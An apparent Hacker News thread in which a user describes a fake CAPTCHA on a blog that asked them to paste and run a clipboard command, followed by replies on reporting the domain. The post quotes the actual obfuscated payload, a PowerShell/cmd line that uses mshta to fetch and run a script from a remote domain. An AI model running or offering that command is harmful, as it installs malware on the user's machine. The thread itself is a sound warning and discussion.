Ask HN: Crooked Timber showed showed me a virus captcha, What now?

Hello everyone, This morning, as i started my shift, i thought i would start visiting some news blogs / websites to kick off the day. When it got to Crooked Timber i saw a captcha page instead, it looked like a traditional Google captcha. I clicked it, the spinner spun, and a box opened on the right, showing the traditional "Verify you're human" white title on a blue background.

It showed 2 "Manual Verification Steps" : 1. Press Win + R 2. Press Ctrl + V and press Run

At first i assumed it was a new type of captcha checking i a physical keyboard was attached to the browser. But i instantly recognized the attempt to make me run a script on my machine.

I opened a new type and to my surprise, the something new was in my clipboard : "pcalua -a "PowerShell" -c "saps cmd '/v/c m^s^h^t^a h^t^t^p^s^:^/^/fine-work-team.com/6272' -Wi Hi""

I submited it to one of LLMs my work gives me access to, which told me to absolutly not run it (i wasn't planning to) and explained the command would download and run a script from the URL.

How do i protect myself from these scams / hack attempts in the future ? i always tought of myself "prepared" but i was surprised.

Has this happened to you before ? How do you protect yourself ?

Reporting to https://safebrowsing.google.com/safebrowsing/report_phish/, which if their tests reproduce the problem will make most browsers unwilling to load the domain. Generally ether caused by a hacked CMS or bad advertisement.

It’s a typical technique, report it to safe browsing, upload it to VirusTotal, that should be tit flagged quickly

fine-work-team.com has been reported as suspicious. Cloudflare is blocking it now.

Not directly answering your questions, but I just wanted to say: Great instincts!

You saw something unusual, then

1. Stopped what you were doing.

2. Investigated to see if this was legitimate or malicious.

3. Identified a place to asked others about it.

4. Formulated a good question with enough background information to help people answer it.

All around good job! Well done.